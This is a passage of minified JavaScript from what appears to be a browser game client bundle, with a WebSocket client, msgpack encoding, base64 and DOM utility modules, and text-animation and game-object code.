usePrefixes: !0
},
_q: [],
on: function(e, t) {
var n = this;
setTimeout((function() {
t(n[e])
}
), 0)
},
addTest: function(e, t, n) {
s.push({
name: e,
fn: t,
options: n
})
},
addAsyncTest: function(e) {
s.push({
name: null,
fn: e
})
}
}
, o = function() {};
o.prototype = a,
o = new o;
var c = t.documentElement
, l = "svg" === c.nodeName.toLowerCase();
o.addTest("passiveeventlisteners", (function() {
var t = !1;
try {
var n = Object.defineProperty({}, "passive", {
get: function() {
t = !0
}
});
e.addEventListener("test", null, n)
} catch (e) {}
return t
}
)),
function() {
var e, t, n, a, c, l;
for (var h in s)
if (s.hasOwnProperty(h)) {
if (e = [],
(t = s[h]).name && (e.push(t.name.toLowerCase()),
t.options && t.options.aliases && t.options.aliases.length))
for (n = 0; n < t.options.aliases.length; n++)
e.push(t.options.aliases[n].toLowerCase());
for (a = i(t.fn, "function") ? t.fn() : t.fn,
c = 0; c < e.length; c++)
1 === (l = e[c].split(".")).length ? o[l[0]] = a : (!
o[l[0]] || o[l[0]]instanceof Boolean || (o[l[0]] = new Boolean(o[l[0]])),
o[l[0]][l[1]] = a),
r.push((a ? "" : "no-") + l.join("-"))
}
}(),
function(e) {
var t = c.className
, n = o._config.classPrefix || "";
if (l && (t = t.baseVal),
o._config.enableJSClass) {
var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
t = t.replace(i, "$1" + n + "js$2")
}
o._config.enableClasses && (t += " " + n + e.join(" " + n),
l ? c.className.baseVal = t : c.className = t)
}(r),
delete a.addTest,
delete a.addAsyncTest;
for (var h = 0; h < o._q.length; h++)
o._q[h]();
e.Modernizr = o
}(window, document)
}
, function(e, t, n) {
var i = n(24);
n(19),
e.exports = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, n) {
if (!this.socket) {
var r = this;
try {
var s = !1
, a = e;
this.socket = new WebSocket(a),
this.socket.binaryType = "arraybuffer",
this.socket.onmessage = function(e) {
var t = new Uint8Array(e.data)
, s = i.decode(t)
, a = s[0];
t = s[1],
"io-init" == a ? r.socketId = t[0] : n[a].apply(void 0, t)
}
,
this.socket.onopen = function() {
r.connected = !0,
t()
}
,
this.socket.onclose = function(e) {
r.connected = !1,
4001 == e.code ? t("Invalid Connection") : s ||
t("disconnected")
}
,
this.socket.onerror = function(e) {
this.socket && this.socket.readyState != WebSocket.OPEN &&
(s = !0,
console.error("Socket error", arguments),
t("Socket error"))
}
} catch (e) {
console.warn("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = Array.prototype.slice.call(arguments, 1)
, n = i.encode([e, t]);
this.socket.send(n)
},
socketReady: function() {
return this.socket && this.connected
},
close: function() {
this.socket && this.socket.close()
}
}
}
, function(e, t, n) {
t.encode = n(9).encode,
t.decode = n(15).decode,
t.Encoder = n(37).Encoder,
t.Decoder = n(38).Decoder,
t.createCodec = n(39).createCodec,
t.codec = n(40).codec
}
, function(e, t, n) {
(function(t) {
function n(e) {
return e && e.isBuffer && e
}
e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" !=
typeof window && window.Buffer) || this.Buffer
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
"use strict";
t.byteLength = function(e) {
var t = l(e)
, n = t[0]
, i = t[1];
return 3 * (n + i) / 4 - i
}
,
t.toByteArray = function(e) {
var t, n, i = l(e), a = i[0], o = i[1], c = new s(function(e, t, n) {
return 3 * (t + n) / 4 - n
}(0, a, o)), h = 0, u = o > 0 ? a - 4 : a;
for (n = 0; n < u; n += 4)
t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n + 1)] << 12 |
r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)],
c[h++] = t >> 16 & 255,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t;
return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)] >>
4,
c[h++] = 255 & t),
1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(n + 1)] << 4 |
r[e.charCodeAt(n + 2)] >> 2,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t),
c
}
,
t.fromByteArray = function(e) {
for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a +=
16383)
s.push(u(e, a, a + 16383 > o ? o : a + 16383));
return 1 === r ? (t = e[n - 1],
s.push(i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r && (t = (e[n - 2] <<
8) + e[n - 1],
s.push(i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")),
s.join("")
}
;
for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o =
0, c = a.length; o < c; ++o)
i[o] = a[o],
r[a.charCodeAt(o)] = o;
function l(e) {
var t = e.length;
if (t % 4 > 0)
throw new Error("Invalid string. Length must be a multiple of 4");
var n = e.indexOf("=");
return -1 === n && (n = t),
[n, n === t ? 0 : 4 - n % 4]
}
function h(e) {
return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
}
function u(e, t, n) {
for (var i, r = [], s = t; s < n; s += 3)
i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s +
2]),
r.push(h(i));
return r.join("")
}
r["-".charCodeAt(0)] = 62,
r["_".charCodeAt(0)] = 63
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Array(e)
}
(t = e.exports = r(0)).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return Array.prototype.slice.call(e)
}
}
, function(e, t, n) {
var i = n(0)
, r = i.global;
function s(e) {
return new r(e)
}
(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc || s,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Uint8Array(e)
}
(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (i.isView(e)) {
var n = e.byteOffset
, r = e.byteLength;
(e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n + r) :
(e = new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(e, n, n
+ r)))
} else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return new Uint8Array(e)
}
}

, function(e, t) {
t.copy = function(e, t, n, i) {
var r;
n || (n = 0),
i || 0 === i || (i = this.length),
t || (t = 0);
var s = i - n;
if (e === this && n < t && t < i)
for (r = s - 1; r >= 0; r--)
e[r + t] = this[r + n];
else
for (r = 0; r < s; r++)
e[r + t] = this[r + n];
return s
}
,
t.toString = function(e, t, n) {
var i = 0 | t;
n || (n = this.length);
for (var r = "", s = 0; i < n; )
(s = this[i++]) < 128 ? r += String.fromCharCode(s) : (192 == (224 & s)
? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 | (63
& this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 | (63 &
this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]),
s >= 65536 ? (s -= 65536,
r += String.fromCharCode(55296 + (s >>> 10), 56320 + (1023 & s))) : r
+= String.fromCharCode(s));
return r
}
,
t.write = function(e, t) {
for (var n = t || (t |= 0), i = e.length, r = 0, s = 0; s < i; )
(r = e.charCodeAt(s++)) < 128 ? this[n++] = r : r < 2048 ? (this[n++] =
192 | r >>> 6,
this[n++] = 128 | 63 & r) : r < 55296 || r > 57343 ? (this[n++] = 224 |
r >>> 12,
this[n++] = 128 | r >>> 6 & 63,
this[n++] = 128 | 63 & r) : (r = 65536 + (r - 55296 << 10 |
e.charCodeAt(s++) - 56320),
this[n++] = 240 | r >>> 18,
this[n++] = 128 | r >>> 12 & 63,
this[n++] = 128 | r >>> 6 & 63,
this[n++] = 128 | 63 & r);
return n - t
}
}
, function(e, t, n) {
t.setExtPackers = function(e) {
e.addExtPacker(14, Error, [u, c]),
e.addExtPacker(1, EvalError, [u, c]),
e.addExtPacker(2, RangeError, [u, c]),
e.addExtPacker(3, ReferenceError, [u, c]),
e.addExtPacker(4, SyntaxError, [u, c]),
e.addExtPacker(5, TypeError, [u, c]),
e.addExtPacker(6, URIError, [u, c]),
e.addExtPacker(10, RegExp, [h, c]),
e.addExtPacker(11, Boolean, [l, c]),
e.addExtPacker(12, String, [l, c]),
e.addExtPacker(13, Date, [Number, c]),
e.addExtPacker(15, Number, [l, c]),
"undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, a),
e.addExtPacker(18, Uint8Array, a),
e.addExtPacker(19, Int16Array, a),
e.addExtPacker(20, Uint16Array, a),
e.addExtPacker(21, Int32Array, a),
e.addExtPacker(22, Uint32Array, a),
e.addExtPacker(23, Float32Array, a),
"undefined" != typeof Float64Array && e.addExtPacker(24, Float64Array, a),
"undefined" != typeof Uint8ClampedArray && e.addExtPacker(25,
Uint8ClampedArray, a),
e.addExtPacker(26, ArrayBuffer, a),
e.addExtPacker(29, DataView, a)),
r.hasBuffer && e.addExtPacker(27, s, r.from)
}
;
var i, r = n(0), s = r.global, a = r.Uint8Array.from, o = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function c(e) {
return i || (i = n(9).encode),
i(e)
}
function l(e) {
return e.valueOf()
}
function h(e) {
(e = RegExp.prototype.toString.call(e).split("/")).shift();
var t = [e.pop()];
return t.unshift(e.join("/")),
t
}
function u(e) {
var t = {};
for (var n in o)
t[n] = e[n];
return t
}
}
, function(e, t, n) {
var i = n(5)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(0)
, c = n(6)
, l = n(34)
, h = n(13).uint8
, u = n(3).ExtBuffer
, f = "undefined" != typeof Uint8Array
, d = "undefined" != typeof Map
, p = [];
p[1] = 212,
p[2] = 213,
p[4] = 214,
p[8] = 215,
p[16] = 216,
t.getWriteType = function(e) {
var t = l.getWriteToken(e)
, n = e && e.useraw
, r = f && e && e.binarraybuffer
, g = r ? o.isArrayBuffer : o.isBuffer
, m = r ? function(e, t) {
w(e, new Uint8Array(t))
}
: w
, y = d && e && e.usemap ? function(e, n) {
if (!(n instanceof Map))
return b(e, n);
var i = n.size;
t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
var r = e.codec.encode;
n.forEach((function(t, n, i) {
r(e, n),
r(e, t)
}
))
}
: b;
return {
boolean: function(e, n) {
t[n ? 195 : 194](e, n)
},
function: v,
number: function(e, n) {
var i = 0 | n;
n === i ? t[-32 <= i && i <= 127 ? 255 & i : 0 <= i ? i <= 255 ?
204 : i <= 65535 ? 205 : 206 : -128 <= i ? 208 : -32768 <= i ? 209 : 210](e, i) :
t[203](e, n)
},
object: n ? function(e, n) {
if (g(n))
return function(e, n) {
var i = n.length;
t[i < 32 ? 160 + i : i <= 65535 ? 218 : 219](e, i),
e.send(n)
}(e, n);
k(e, n)
}
: k,
string: function(e) {
return function(n, i) {
var r = i.length
, s = 5 + 3 * r;
n.offset = n.reserve(s);
var a = n.buffer
, o = e(r)
, l = n.offset + o;
r = c.write.call(a, i, l);
var h = e(r);
if (o !== h) {
var u = l + h - o
, f = l + r;
c.copy.call(a, a, u, l, f)
}
t[1 === h ? 160 + r : h <= 3 ? 215 + h : 219](n, r),
n.offset += r
}
}(n ? function(e) {
return e < 32 ? 1 : e <= 65535 ? 3 : 5
}
: function(e) {
return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
}
),
symbol: v,
undefined: v
};
function k(e, n) {
if (null === n)
return v(e, n);
if (g(n))
return m(e, n);
if (i(n))
return function(e, n) {
var i = n.length;
t[i < 16 ? 144 + i : i <= 65535 ? 220 : 221](e, i);
for (var r = e.codec.encode, s = 0; s < i; s++)
r(e, n[s])
}(e, n);
if (s.isUint64BE(n))
return function(e, n) {
t[207](e, n.toArray())
}(e, n);
if (a.isInt64BE(n))
return function(e, n) {
t[211](e, n.toArray())
}(e, n);
var r = e.codec.getExtPacker(n);
if (r && (n = r(n)),
n instanceof u)
return function(e, n) {
var i = n.buffer
, r = i.length
, s = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
t[s](e, r),
h[n.type](e),
e.send(i)
}(e, n);
y(e, n)
}
function v(e, n) {
t[192](e, n)
}
function w(e, n) {
var i = n.length;
t[i < 255 ? 196 : i <= 65535 ? 197 : 198](e, i),
e.send(n)
}
function b(e, n) {
var i = Object.keys(n)
, r = i.length;
t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
var s = e.codec.encode;
i.forEach((function(t) {
s(e, t),
s(e, n[t])
}
))
}
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(13).uint8
, c = n(0)
, l = c.global
, h = c.hasBuffer && "TYPED_ARRAY_SUPPORT"in l && !l.TYPED_ARRAY_SUPPORT
, u = c.hasBuffer && l.prototype || {};
function f() {
var e = o.slice();
return e[196] = d(196),
e[197] = p(197),
e[198] = g(198),
e[199] = d(199),
e[200] = p(200),
e[201] = g(201),
e[202] = m(202, 4, u.writeFloatBE || v, !0),
e[203] = m(203, 8, u.writeDoubleBE || w, !0),
e[204] = d(204),
e[205] = p(205),
e[206] = g(206),
e[207] = m(207, 8, y),
e[208] = d(208),
e[209] = p(209),
e[210] = g(210),
e[211] = m(211, 8, k),
e[217] = d(217),
e[218] = p(218),
e[219] = g(219),
e[220] = p(220),
e[221] = g(221),
e[222] = p(222),
e[223] = g(223),
e
}
function d(e) {
return function(t, n) {
var i = t.reserve(2)
, r = t.buffer;
r[i++] = e,
r[i] = n
}
}
function p(e) {
return function(t, n) {
var i = t.reserve(3)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 8,
r[i] = n
}
}
function g(e) {
return function(t, n) {
var i = t.reserve(5)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 24,
r[i++] = n >>> 16,
r[i++] = n >>> 8,
r[i] = n
}
}
function m(e, t, n, i) {
return function(r, s) {
var a = r.reserve(t + 1);
r.buffer[a++] = e,
n.call(r.buffer, s, a, i)
}
}
function y(e, t) {
new s(this,t,e)
}
function k(e, t) {
new a(this,t,e)
}
function v(e, t) {
i.write(this, e, t, !1, 23, 4)
}
function w(e, t) {
i.write(this, e, t, !1, 52, 8)
}
t.getWriteToken = function(e) {
return e && e.uint8array ? function() {
var e = f();
return e[202] = m(202, 4, v),
e[203] = m(203, 8, w),
e
}() : h || c.hasBuffer && e && e.safe ? function() {
var e = o.slice();
return e[196] = m(196, 1, l.prototype.writeUInt8),
e[197] = m(197, 2, l.prototype.writeUInt16BE),
e[198] = m(198, 4, l.prototype.writeUInt32BE),
e[199] = m(199, 1, l.prototype.writeUInt8),
e[200] = m(200, 2, l.prototype.writeUInt16BE),
e[201] = m(201, 4, l.prototype.writeUInt32BE),
e[202] = m(202, 4, l.prototype.writeFloatBE),
e[203] = m(203, 8, l.prototype.writeDoubleBE),
e[204] = m(204, 1, l.prototype.writeUInt8),
e[205] = m(205, 2, l.prototype.writeUInt16BE),
e[206] = m(206, 4, l.prototype.writeUInt32BE),
e[207] = m(207, 8, y),
e[208] = m(208, 1, l.prototype.writeInt8),
e[209] = m(209, 2, l.prototype.writeInt16BE),
e[210] = m(210, 4, l.prototype.writeInt32BE),
e[211] = m(211, 8, k),
e[217] = m(217, 1, l.prototype.writeUInt8),
e[218] = m(218, 2, l.prototype.writeUInt16BE),
e[219] = m(219, 4, l.prototype.writeUInt32BE),
e[220] = m(220, 2, l.prototype.writeUInt16BE),
e[221] = m(221, 4, l.prototype.writeUInt32BE),
e[222] = m(222, 2, l.prototype.writeUInt16BE),
e[223] = m(223, 4, l.prototype.writeUInt32BE),
e
}() : f()
}
}
, function(e, t, n) {
t.setExtUnpackers = function(e) {
e.addExtUnpacker(14, [o, l(Error)]),
e.addExtUnpacker(1, [o, l(EvalError)]),
e.addExtUnpacker(2, [o, l(RangeError)]),
e.addExtUnpacker(3, [o, l(ReferenceError)]),
e.addExtUnpacker(4, [o, l(SyntaxError)]),
e.addExtUnpacker(5, [o, l(TypeError)]),
e.addExtUnpacker(6, [o, l(URIError)]),
e.addExtUnpacker(10, [o, c]),
e.addExtUnpacker(11, [o, h(Boolean)]),
e.addExtUnpacker(12, [o, h(String)]),
e.addExtUnpacker(13, [o, h(Date)]),
e.addExtUnpacker(15, [o, h(Number)]),
"undefined" != typeof Uint8Array && (e.addExtUnpacker(17, h(Int8Array)),
e.addExtUnpacker(18, h(Uint8Array)),
e.addExtUnpacker(19, [u, h(Int16Array)]),
e.addExtUnpacker(20, [u, h(Uint16Array)]),
e.addExtUnpacker(21, [u, h(Int32Array)]),
e.addExtUnpacker(22, [u, h(Uint32Array)]),
e.addExtUnpacker(23, [u, h(Float32Array)]),
"undefined" != typeof Float64Array && e.addExtUnpacker(24, [u,
h(Float64Array)]),
"undefined" != typeof Uint8ClampedArray && e.addExtUnpacker(25,
h(Uint8ClampedArray)),
e.addExtUnpacker(26, u),
e.addExtUnpacker(29, [u, h(DataView)])),
r.hasBuffer && e.addExtUnpacker(27, h(s))
}
;
var i, r = n(0), s = r.global, a = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function o(e) {
return i || (i = n(15).decode),
i(e)
}
function c(e) {
return RegExp.apply(null, e)
}
function l(e) {
return function(t) {
var n = new e;
for (var i in a)
n[i] = t[i];
return n
}
}
function h(e) {
return function(t) {
return new e(t)
}
}
function u(e) {
return new Uint8Array(e).buffer
}
}
, function(e, t, n) {
var i = n(17);
function r(e) {
var t, n = new Array(256);
for (t = 0; t <= 127; t++)
n[t] = s(t);
for (t = 128; t <= 143; t++)
n[t] = o(t - 128, e.map);
for (t = 144; t <= 159; t++)
n[t] = o(t - 144, e.array);
for (t = 160; t <= 191; t++)
n[t] = o(t - 160, e.str);
for (n[192] = s(null),
n[193] = null,
n[194] = s(!1),
n[195] = s(!0),
n[196] = a(e.uint8, e.bin),
n[197] = a(e.uint16, e.bin),
n[198] = a(e.uint32, e.bin),
n[199] = a(e.uint8, e.ext),
n[200] = a(e.uint16, e.ext),
n[201] = a(e.uint32, e.ext),
n[202] = e.float32,
n[203] = e.float64,
n[204] = e.uint8,
n[205] = e.uint16,
n[206] = e.uint32,
n[207] = e.uint64,
n[208] = e.int8,
n[209] = e.int16,
n[210] = e.int32,
n[211] = e.int64,
n[212] = o(1, e.ext),
n[213] = o(2, e.ext),
n[214] = o(4, e.ext),
n[215] = o(8, e.ext),
n[216] = o(16, e.ext),
n[217] = a(e.uint8, e.str),
n[218] = a(e.uint16, e.str),
n[219] = a(e.uint32, e.str),
n[220] = a(e.uint16, e.array),
n[221] = a(e.uint32, e.array),
n[222] = a(e.uint16, e.map),
n[223] = a(e.uint32, e.map),
t = 224; t <= 255; t++)
n[t] = s(t - 256);
return n
}
function s(e) {
return function() {
return e
}
}
function a(e, t) {
return function(n) {
var i = e(n);
return t(n, i)
}
}
function o(e, t) {
return function(n) {
return t(n, e)
}
}
t.getReadToken = function(e) {
var t = i.getReadFormat(e);
return e && e.useraw ? function(e) {
var t, n = r(e).slice();
for (n[217] = n[196],
n[218] = n[197],
n[219] = n[198],
t = 160; t <= 191; t++)
n[t] = o(t - 160, e.bin);
return n
}(t) : r(t)
}
}
, function(e, t, n) {
t.Encoder = s;
var i = n(18)
, r = n(10).EncodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.encode = function(e) {
this.write(e),
this.emit("data", this.read())
}
,
s.prototype.end = function(e) {
arguments.length && this.encode(e),
this.flush(),
this.emit("end")
}
}
, function(e, t, n) {
t.Decoder = s;
var i = n(18)
, r = n(16).DecodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.decode = function(e) {
arguments.length && this.write(e),
this.flush()
}
,
s.prototype.push = function(e) {
this.emit("data", e)
}
,
s.prototype.end = function(e) {
this.decode(e),
this.emit("end")
}
}
, function(e, t, n) {
n(8),
n(2),
t.createCodec = n(1).createCodec
}
, function(e, t, n) {
n(8),
n(2),
t.codec = {
preset: n(1).preset
}
}
, function(e, t) {
var n, i, r = e.exports = {};
function s() {
throw new Error("setTimeout has not been defined")
}
function a() {
throw new Error("clearTimeout has not been defined")
}
function o(e) {
if (n === setTimeout)
return setTimeout(e, 0);
if ((n === s || !n) && setTimeout)
return n = setTimeout,
setTimeout(e, 0);
try {
return n(e, 0)
} catch (t) {
try {
return n.call(null, e, 0)
} catch (t) {
return n.call(this, e, 0)
}
}
}
!function() {
try {
n = "function" == typeof setTimeout ? setTimeout : s
} catch (e) {
n = s
}
try {
i = "function" == typeof clearTimeout ? clearTimeout : a
} catch (e) {
i = a
}
}();
var c, l = [], h = !1, u = -1;
function f() {
h && c && (h = !1,
c.length ? l = c.concat(l) : u = -1,
l.length && d())
}
function d() {
if (!h) {
var e = o(f);
h = !0;
for (var t = l.length; t; ) {
for (c = l,
l = []; ++u < t; )
c && c[u].run();
u = -1,
t = l.length
}
c = null,
h = !1,
function(e) {
if (i === clearTimeout)
return clearTimeout(e);
if ((i === a || !i) && clearTimeout)
return i = clearTimeout,
clearTimeout(e);
try {
i(e)
} catch (t) {
try {
return i.call(null, e)
} catch (t) {
return i.call(this, e)
}
}
}(e)
}
}

function p(e, t) {
this.fun = e,
this.array = t
}
function g() {}
r.nextTick = function(e) {
var t = new Array(arguments.length - 1);
if (arguments.length > 1)
for (var n = 1; n < arguments.length; n++)
t[n - 1] = arguments[n];
l.push(new p(e,t)),
1 !== l.length || h || o(d)
}
,
p.prototype.run = function() {
this.fun.apply(null, this.array)
}
,
r.title = "browser",
r.browser = !0,
r.env = {},
r.argv = [],
r.version = "",
r.versions = {},
r.on = g,
r.addListener = g,
r.once = g,
r.off = g,
r.removeListener = g,
r.removeAllListeners = g,
r.emit = g,
r.prependListener = g,
r.prependOnceListener = g,
r.listeners = function(e) {
return []
}
,
r.binding = function(e) {
throw new Error("process.binding is not supported")
}
,
r.cwd = function() {
return "/"
}
,
r.chdir = function(e) {
throw new Error("process.chdir is not supported")
}
,
r.umask = function() {
return 0
}
}
, function(e, t) {
var n = Math.abs
, i = (Math.cos,
Math.sin,
Math.pow,
Math.sqrt)
, r = (n = Math.abs,
Math.atan2)
, s = Math.PI;
e.exports.randInt = function(e, t) {
return Math.floor(Math.random() * (t - e + 1)) + e
}
,
e.exports.randFloat = function(e, t) {
return Math.random() * (t - e + 1) + e
}
,
e.exports.lerp = function(e, t, n) {
return e + (t - e) * n
}
,
e.exports.decel = function(e, t) {
return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)),
e
}
,
e.exports.getDistance = function(e, t, n, r) {
return i((n -= e) * n + (r -= t) * r)
}
,
e.exports.getDirection = function(e, t, n, i) {
return r(t - i, e - n)
}
,
e.exports.getAngleDist = function(e, t) {
var i = n(t - e) % (2 * s);
return i > s ? 2 * s - i : i
}
,
e.exports.isNumber = function(e) {
return "number" == typeof e && !isNaN(e) && isFinite(e)
}
,
e.exports.isString = function(e) {
return e && "string" == typeof e
}
,
e.exports.kFormat = function(e) {
return e > 999 ? (e / 1e3).toFixed(1) + "k" : e
}
,
e.exports.capitalizeFirst = function(e) {
return e.charAt(0).toUpperCase() + e.slice(1)
}
,
e.exports.fixTo = function(e, t) {
return parseFloat(e.toFixed(t))
}
,
e.exports.sortByPoints = function(e, t) {
return parseFloat(t.points) - parseFloat(e.points)
}
,
e.exports.lineInRect = function(e, t, n, i, r, s, a, o) {
var c = r
, l = a;
if (r > a && (c = a,
l = r),
l > n && (l = n),
c < e && (c = e),
c > l)
return !1;
var h = s
, u = o
, f = a - r;
if (Math.abs(f) > 1e-7) {
var d = (o - s) / f
, p = s - d * r;
h = d * c + p,
u = d * l + p
}
if (h > u) {
var g = u;
u = h,
h = g
}
return u > i && (u = i),
h < t && (h = t),
!(h > u)
}
,
e.exports.containsPoint = function(e, t, n) {
var i = e.getBoundingClientRect()
, r = i.left + window.scrollX
, s = i.top + window.scrollY
, a = i.width
, o = i.height;
return t > r && t < r + a && n > s && n < s + o
}
,
e.exports.mousifyTouchEvent = function(e) {
var t = e.changedTouches[0];
e.screenX = t.screenX,
e.screenY = t.screenY,
e.clientX = t.clientX,
e.clientY = t.clientY,
e.pageX = t.pageX,
e.pageY = t.pageY
}
,
e.exports.hookTouchEvents = function(t, n) {
var i = !n
, r = !1;
function s(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
r && (t.onclick && t.onclick(n),
t.onmouseout && t.onmouseout(n),
r = !1)
}
t.addEventListener("touchstart", e.exports.checkTrusted((function(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
t.onmouseover && t.onmouseover(n),
r = !0
}
)), !1),
t.addEventListener("touchmove", e.exports.checkTrusted((function(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
e.exports.containsPoint(t, n.pageX, n.pageY) ? r || (t.onmouseover &&
t.onmouseover(n),
r = !0) : r && (t.onmouseout && t.onmouseout(n),
r = !1)
}
)), !1),
t.addEventListener("touchend", e.exports.checkTrusted(s), !1),
t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1),
t.addEventListener("touchleave", e.exports.checkTrusted(s), !1)
}
,
e.exports.removeAllChildren = function(e) {
for (; e.hasChildNodes(); )
e.removeChild(e.lastChild)
}
,
e.exports.generateElement = function(t) {
var n = document.createElement(t.tag || "div");
function i(e, i) {
t[e] && (n[i] = t[e])
}
for (var r in i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t) {
switch (r) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
n[r] = t[r]
}
if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)),
n.onmouseover && (n.onmouseover = e.exports.checkTrusted(n.onmouseover)),
n.onmouseout && (n.onmouseout = e.exports.checkTrusted(n.onmouseout)),
t.style && (n.style.cssText = t.style),
t.hookTouch && e.exports.hookTouchEvents(n),
t.parent && t.parent.appendChild(n),
t.children)
for (var s = 0; s < t.children.length; s++)
n.appendChild(t.children[s]);
return n
}
,
e.exports.eventIsTrusted = function(e) {
return !e || "boolean" != typeof e.isTrusted || e.isTrusted
}
,
e.exports.checkTrusted = function(t) {
return function(n) {
n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
}
}
,
e.exports.randomString = function(e) {
for (var t = "", n =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i+
+)
t += n.charAt(Math.floor(Math.random() * n.length));
return t
}
,
e.exports.countInArray = function(e, t) {
for (var n = 0, i = 0; i < e.length; i++)
e[i] === t && n++;
return n
}
}
, function(e, t) {
e.exports.AnimText = function() {
this.init = function(e, t, n, i, r, s, a) {
this.x = e,
this.y = t,
this.color = a,
this.scale = n,
this.startScale = this.scale,
this.maxScale = 1.5 * n,
this.scaleSpeed = .7,
this.speed = i,
this.life = r,
this.text = s
}
,
this.update = function(e) {
this.life && (this.life -= e,
this.y -= this.speed * e,
this.scale += this.scaleSpeed * e,
this.scale >= this.maxScale ? (this.scale = this.maxScale,
this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale =
this.startScale,
this.scaleSpeed = 0),
this.life <= 0 && (this.life = 0))
}
,
this.render = function(e, t, n) {
e.fillStyle = this.color,
e.font = this.scale + "px Hammersmith One",
e.fillText(this.text, this.x - t, this.y - n)
}
}
,
e.exports.TextManager = function() {
this.texts = [],
this.update = function(e, t, n, i) {
t.textBaseline = "middle",
t.textAlign = "center";
for (var r = 0; r < this.texts.length; ++r)
this.texts[r].life && (this.texts[r].update(e),
this.texts[r].render(t, n, i))
}
,
this.showText = function(t, n, i, r, s, a, o) {
for (var c, l = 0; l < this.texts.length; ++l)
if (!this.texts[l].life) {
c = this.texts[l];
break
}
c || (c = new e.exports.AnimText,
this.texts.push(c)),
c.init(t, n, i, r, s, a, o)
}
}
}
, function(e, t) {
e.exports = function(e) {
this.sid = e,
this.init = function(e, t, n, i, r, s, a) {
s = s || {},
this.sentTo = {},
this.gridLocations = [],
this.active = !0,
this.doUpdate = s.doUpdate,
this.x = e,
this.y = t,
this.dir = n,
this.xWiggle = 0,
this.yWiggle = 0,
this.scale = i,
this.type = r,
this.id = s.id,
this.owner = a,
this.name = s.name,
this.isItem = null != this.id,
this.group = s.group,
this.health = s.health,
this.layer = 2,
null != this.group ? this.layer = this.group.layer : 0 == this.type ?
